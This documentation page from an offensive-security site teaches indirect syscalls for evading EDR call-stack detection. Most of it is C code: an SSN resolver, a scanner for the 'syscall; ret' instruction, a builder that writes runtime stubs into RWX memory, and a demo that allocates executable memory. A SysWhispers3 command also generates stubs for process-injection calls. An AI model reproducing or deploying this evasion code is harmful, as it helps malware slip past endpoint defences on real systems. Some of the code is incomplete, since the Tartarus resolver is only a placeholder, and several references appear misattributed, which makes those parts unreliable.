> For the complete documentation index, see [llms.txt](https://docs.redteamleaders.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.redteamleaders.com/offensive-security/defense-evasion/indirect-syscalls-preserving-a-legitimate-stack-trace.md).

# Indirect Syscalls — Preserving a Legitimate Stack Trace

### Why Direct Syscalls Are Not Enough

Direct syscalls represent a significant step forward against EDRs that operate exclusively in userland. However, mature EDRs implement detection based on call stack analysis: when a syscall arrives at the kernel, the system can examine the process stack to verify that the call frames match what is expected.

In a legitimate execution, the frame sequence for a call like `NtAllocateVirtualMemory` would be:

```
┌─────────────────────────────────────────────────────────────────┐
│          Call Stack — Legitimate Execution                      │
│                                                                 │
│  [0] ntdll!NtAllocateVirtualMemory       ← expected frame      │
│  [1] KERNELBASE!VirtualAllocEx                                  │
│  [2] kernel32!VirtualAlloc                                      │
│  [3] MyApplication!main+0x42                                    │
│  [4] KERNEL32!BaseThreadInitThunk                               │
│                                                                 │
│          Call Stack — Direct Syscall (suspicious)               │
│                                                                 │
│  [0] MyApplication!syscall_stub+0x09    ← anomaly!             │
│  [1] MyApplication!inject+0x1A                                  │
│  [2] MyApplication!main+0x42                                    │
│                                                                 │
│  The ntdll frame is absent → EDR flags as suspicious.          │
└─────────────────────────────────────────────────────────────────┘
```

The `syscall` instruction occurs inside the attacker's code, and when the kernel performs stack unwinding during callbacks, the return address points outside `ntdll.dll`. This is a reliable indicator of compromise (IoC) for EDRs such as Cortex XDR and SentinelOne.

**Indirect syscalls** solve this problem: the `syscall` instruction executes within the legitimate address space of `ntdll.dll`, preserving the appearance of a normal call.

***

### The Concept of Indirect Syscall

The core idea is simple: instead of issuing the `syscall` instruction in our own code, we **jump directly to the `syscall; ret` inside ntdll's original stub**, after correctly setting up the SSN and arguments.

```
┌──────────────────────────────────────────────────────────────────┐
│              Indirect Syscall Mechanism                          │
│                                                                  │
│  Our code:                                                       │
│    1. mov r10, rcx           (syscall convention)               │
│    2. mov eax, <SSN>         (load syscall number)              │
│    3. jmp ntdll!NtXxx+0x12  (jump inside ntdll stub)            │
│                                                                  │
│  ntdll!NtXxx (stub hooked by EDR):                              │
│    +0x00: jmp [EDR_hook]     (hooked bytes — we skip this)      │
│    +0x05: ...                                                    │
│    +0x12: syscall            ← we land here                     │
│    +0x14: ret                                                    │
│                                                                  │
│  Call stack seen by kernel:                                      │
│    [0] ntdll!NtXxx+0x12      ← inside ntdll ✓                  │
│    [1] OurCode!stub+0x0F                                         │
└──────────────────────────────────────────────────────────────────┘
```

The EDR sees the `syscall` instruction executing from an address within `ntdll.dll` — exactly what would be expected in a legitimate execution.

***

### Finding the `syscall; ret` Offset in ntdll

The challenge is locating the exact offset of the `syscall; ret` pair within each function's stub. There are three scenarios:

1. **Unhooked stub**: Original bytes are intact. We can read `syscall; ret` at the default offset (+0x12 on x64).
2. **Stub hooked at the beginning (JMP)**: The first bytes were overwritten. The `syscall; ret` at subsequent offsets may still be intact.
3. **Completely overwritten stub**: We need to find `syscall; ret` in another clean stub and reuse that address.

#### Hell's Gate Strategy

[Hell's Gate](https://github.com/am0nsec/HellsGate) (by am0nsec and RtlMateusz) was the first public technique to dynamically resolve SSNs. The original logic reads the stub bytecode directly from memory.

**Limitation**: Fails when the stub is hooked (bytes were modified).

#### Halo's Gate Strategy

Halo's Gate extends Hell's Gate to handle hooked stubs: if the target stub is modified, it searches adjacent stubs (neighbors) in the export table — which may not be hooked — and uses their SSN as a reference, adding or subtracting the positional delta.

```c
// Halo's Gate concept — SSN resolution by adjacency
DWORD GetSsnHaloGate(const char* targetFunc) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS  nt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)hNtdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress
    );

    DWORD* names = (DWORD*)((BYTE*)hNtdll + exp->AddressOfNames);
    WORD*  ords  = (WORD*) ((BYTE*)hNtdll + exp->AddressOfNameOrdinals);
    DWORD* funcs = (DWORD*)((BYTE*)hNtdll + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char* name = (char*)((BYTE*)hNtdll + names[i]);
        if (strcmp(name, targetFunc) != 0) continue;

        BYTE* fn = (BYTE*)hNtdll + funcs[ords[i]];

        // Intact stub? Read SSN directly
        if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 &&
            fn[3] == 0xB8) {
            return *(DWORD*)(fn + 4);
        }

        // Hooked stub — try neighbors
        for (DWORD delta = 1; delta < 10; delta++) {
            // Neighbor above
            BYTE* fn_up = (BYTE*)hNtdll + funcs[ords[i - delta]];
            if (fn_up[0] == 0x4C && fn_up[3] == 0xB8) {
                return *(DWORD*)(fn_up + 4) + delta;
            }
            // Neighbor below
            BYTE* fn_dn = (BYTE*)hNtdll + funcs[ords[i + delta]];
            if (fn_dn[0] == 0x4C && fn_dn[3] == 0xB8) {
                return *(DWORD*)(fn_dn + 4) - delta;
            }
        }
    }
    return 0;
}
```

#### Tartarus' Gate Strategy

Tartarus' Gate goes further: sorts all exports by address (RVA) and uses the index in the sorted list as the SSN — without depending on the bytecode. Works even when all stubs are hooked.

```c
typedef struct {
    PVOID address;
    DWORD index;  // After sorting, index == SSN
    char  name[128];
} EXPORT_ENTRY;

int CompareByAddress(const void* a, const void* b) {
    EXPORT_ENTRY* ea = (EXPORT_ENTRY*)a;
    EXPORT_ENTRY* eb = (EXPORT_ENTRY*)b;
    return (ea->address > eb->address) - (ea->address < eb->address);
}

DWORD GetSsnTartarus(const char* targetFunc) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    // ... enumerate exports, filter Nt/Zw, sort by address ...
    // The index of the target function in the sorted list is its SSN
}
```

***

### Complete Indirect Syscall Implementation

```c
#include <windows.h>
#include <stdio.h>

// Find the address of 'syscall; ret' inside an ntdll stub
// Even if the stub is hooked at the start
PVOID FindSyscallInstruction(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID   fn     = (PVOID)GetProcAddress(hNtdll, funcName);
    if (!fn) return NULL;

    // Search for 0F 05 C3 (syscall; ret) in the first 32 bytes of the stub
    BYTE* p = (BYTE*)fn;
    for (int i = 0; i < 32; i++) {
        if (p[i] == 0x0F && p[i+1] == 0x05 && p[i+2] == 0xC3) {
            return (PVOID)(p + i);
        }
    }
    return NULL;
}

// Indirect syscall stub generated at runtime
// Layout: mov r10,rcx | mov eax,SSN | jmp [syscall_addr]
typedef struct {
    BYTE  mov_r10_rcx[3];  // 4C 8B D1
    BYTE  mov_eax;         // B8
    DWORD ssn;             //    XX XX XX XX
    BYTE  jmp_rel32;       // E9
    DWORD jmp_offset;      //    XX XX XX XX (offset to syscall;ret in ntdll)
} INDIRECT_STUB;

PVOID BuildIndirectStub(DWORD ssn, PVOID syscallAddr) {
    INDIRECT_STUB* stub = VirtualAlloc(NULL, sizeof(INDIRECT_STUB),
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
    if (!stub) return NULL;

    stub->mov_r10_rcx[0] = 0x4C;
    stub->mov_r10_rcx[1] = 0x8B;
    stub->mov_r10_rcx[2] = 0xD1;
    stub->mov_eax        = 0xB8;
    stub->ssn            = ssn;
    stub->jmp_rel32      = 0xE9;

    // Calculate relative offset for the jmp
    BYTE* afterJmp = (BYTE*)stub + sizeof(INDIRECT_STUB);
    stub->jmp_offset = (DWORD)((BYTE*)syscallAddr - afterJmp);

    return (PVOID)stub;
}

// Full usage example
int main(void) {
    DWORD ssn    = GetSsnTartarus("NtAllocateVirtualMemory");
    PVOID scAddr = FindSyscallInstruction("NtAllocateVirtualMemory");

    if (!ssn || !scAddr) {
        printf("[-] Failed to resolve SSN or syscall address\n");
        return 1;
    }

    printf("[+] SSN: %d | syscall @ 0x%p\n", ssn, scAddr);

    typedef NTSTATUS(WINAPI* NtAllocFn)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
    NtAllocFn NtAlloc = (NtAllocFn)BuildIndirectStub(ssn, scAddr);

    PVOID  base = NULL;
    SIZE_T sz   = 0x1000;
    NTSTATUS st = NtAlloc(
        (HANDLE)-1, &base, 0, &sz,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    printf("[+] NtAllocateVirtualMemory → 0x%p (status: 0x%08X)\n", base, st);
    return 0;
}
```

***

### SysWhispers3 with Indirect Syscalls

SysWhispers3 natively supports indirect syscalls via the `--method jumper` flag:

```bash
# Generate code with indirect syscalls
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
    --method jumper \
    --out-file syscalls_indirect
```

The generated code includes the runtime logic for locating `syscall; ret` and guarantees the syscall instruction always executes within `ntdll.dll`.

***

### Technique Comparison

```
┌──────────────────────────────────────────────────────────────────────┐
│           Direct vs Indirect Syscalls — Comparative Analysis         │
│                                                                      │
│  Feature                 Direct Syscall    Indirect Syscall          │
│  ────────────────────    ──────────────    ────────────────          │
│  Bypasses EDR hooks      Yes               Yes                       │
│  Legitimate call stack   No                Yes                       │
│  Implementation effort   Low               Medium                    │
│  Dependency on ntdll     SSN only          SSN + syscall address     │
│  Works with full EDR     No                Partially                 │
│  Detectable by PG        No (userland)     No (userland)            │
│  Requires RWX page        Yes               Yes (stub)              │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Advanced Detection

More recent EDRs implement multiple layers of verification:

* **Return address validation**: Checks whether the syscall return address is in a memory region that belongs to a legitimate PE module.
* **CFG (Control Flow Guard)**: Jumping to addresses not registered as valid CFG targets generates an exception.
* **Kernel stack walking**: During `PsSetCreateThreadNotifyRoutine` and similar callbacks, the kernel walks the process stack to inspect frames.

The answer to this is **stack spoofing** — a separate technique that manipulates the call stack to make it appear the call originated from legitimate code. That topic is covered in depth in the Thread Stack Spoofing article.

***

### References

* am0nsec & RtlMateusz, "Hell's Gate" — github.com/am0nsec/HellsGate (2020)
* trickster0, "Halo's Gate" — github.com/trickster0/TartarusGate (2021)
* Paul Laîné, "Tartarus' Gate" — turtleseason.github.io (2021)
* klezVirus, "SysWhispers3 — Evasion using Indirect Syscalls" — github.com/klezVirus/SysWhispers3
* MDSec, "Bypassing EDR Hooks: Direct and Indirect Syscalls" — mdsec.co.uk
* WithSecure Labs, "Detecting Syscall Evasion" — labs.withsecure.com (2022)
* Elastic Security Labs, "Hunting for Syscall-based Evasion" — elastic.co/security-labs (2023)
* Alex Matrosov, "EDR Internals" — REcon 2022
